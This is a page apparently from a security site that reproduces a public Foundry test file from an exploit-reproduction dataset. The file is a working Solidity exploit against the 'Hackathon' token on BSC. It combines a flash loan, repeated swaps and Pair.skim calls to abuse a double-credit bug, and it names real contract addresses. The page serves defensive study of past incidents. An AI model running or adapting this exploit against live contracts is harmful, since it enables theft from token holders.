Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/Hackathon_exp.sol

Public reproduction file for dataset entry Hackathon.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/Hackathon_exp.sol62 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// TX : https://app.blocksec.com/explorer/tx/bsc/0xea181f730886ece947e255ab508f5af1d0f569fee3368b651d5dbb28549087b5
8// Vulnearable Contract: 0x11cee747Faaf0C0801075253ac28aB503C888888
9// GUY : https://x.com/EXVULSEC/status/1779519508375613827
10// Profit : ~20K USD
11// Root Cause: when `sender == recipient == pair`, the recipient’s balance is credited twice, once in each branch
13contract Exploit is Test {
14 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15 IPancakePair Pair = IPancakePair(0xd46f4a4B57D8EC355fe83F9AE75d4cC04DE371ED);
16 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
17 IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
18 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
19 IERC20 Hackathon = IERC20(0x11cee747Faaf0C0801075253ac28aB503C888888);
21 function setUp() public {
22 cheats.createSelectFork("bsc", 37_854_043);
23 deal(address(BUSD), address(this), 0);
24 }
26 function testExploit() public {
27 emit log_named_decimal_uint(
28 "attacker balance BUSD before attack:", BUSD.balanceOf(address(this)), BUSD.decimals()
29 );
30 DPP.flashLoan(0, 200_000 ether, address(this), new bytes(1));
31 emit log_named_decimal_uint(
32 "attacker balance BUSD after attack:", BUSD.balanceOf(address(this)), BUSD.decimals()
33 );
34 }
36 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
37 BUSD.approve(address(Pair), type(uint256).max);
38 BUSD.approve(address(Router), type(uint256).max);
39 uint256 j = 0;
40 while (j < 10) {
41 uint256 i = 0;
42 swap_token_to_token(address(BUSD), address(Hackathon), 200_000 * 1e18);
43 Hackathon.transfer(address(Pair), Hackathon.balanceOf(address(this)));
44 while (i < 10) {
45 Pair.skim(address(Pair));
46 Pair.skim(address(this));
47 i++;
48 }
49 swap_token_to_token(address(Hackathon), address(BUSD), Hackathon.balanceOf(address(this)));
50 j++;
51 }
52 BUSD.transfer(address(msg.sender), quoteAmount);
53 }
55 function swap_token_to_token(address a, address b, uint256 amount) internal {
56 IERC20(a).approve(address(Router), amount);
57 address[] memory path = new address[](2);
58 path[0] = address(a);
59 path[1] = address(b);
60 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
61 }

Analysis

Dataset entry

Public Foundry test for “Hackathon” (2024-04-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Hackathon
Path
src/test/2024-04/Hackathon_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
91fe974349ed8d0ff97408df37ccbb86a55d10fe
Language
Solidity
Size
63 lines
Date
2024-04-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/Hackathon_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 91fe974349ed8d0ff97408df37ccbb86a55d10fe, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.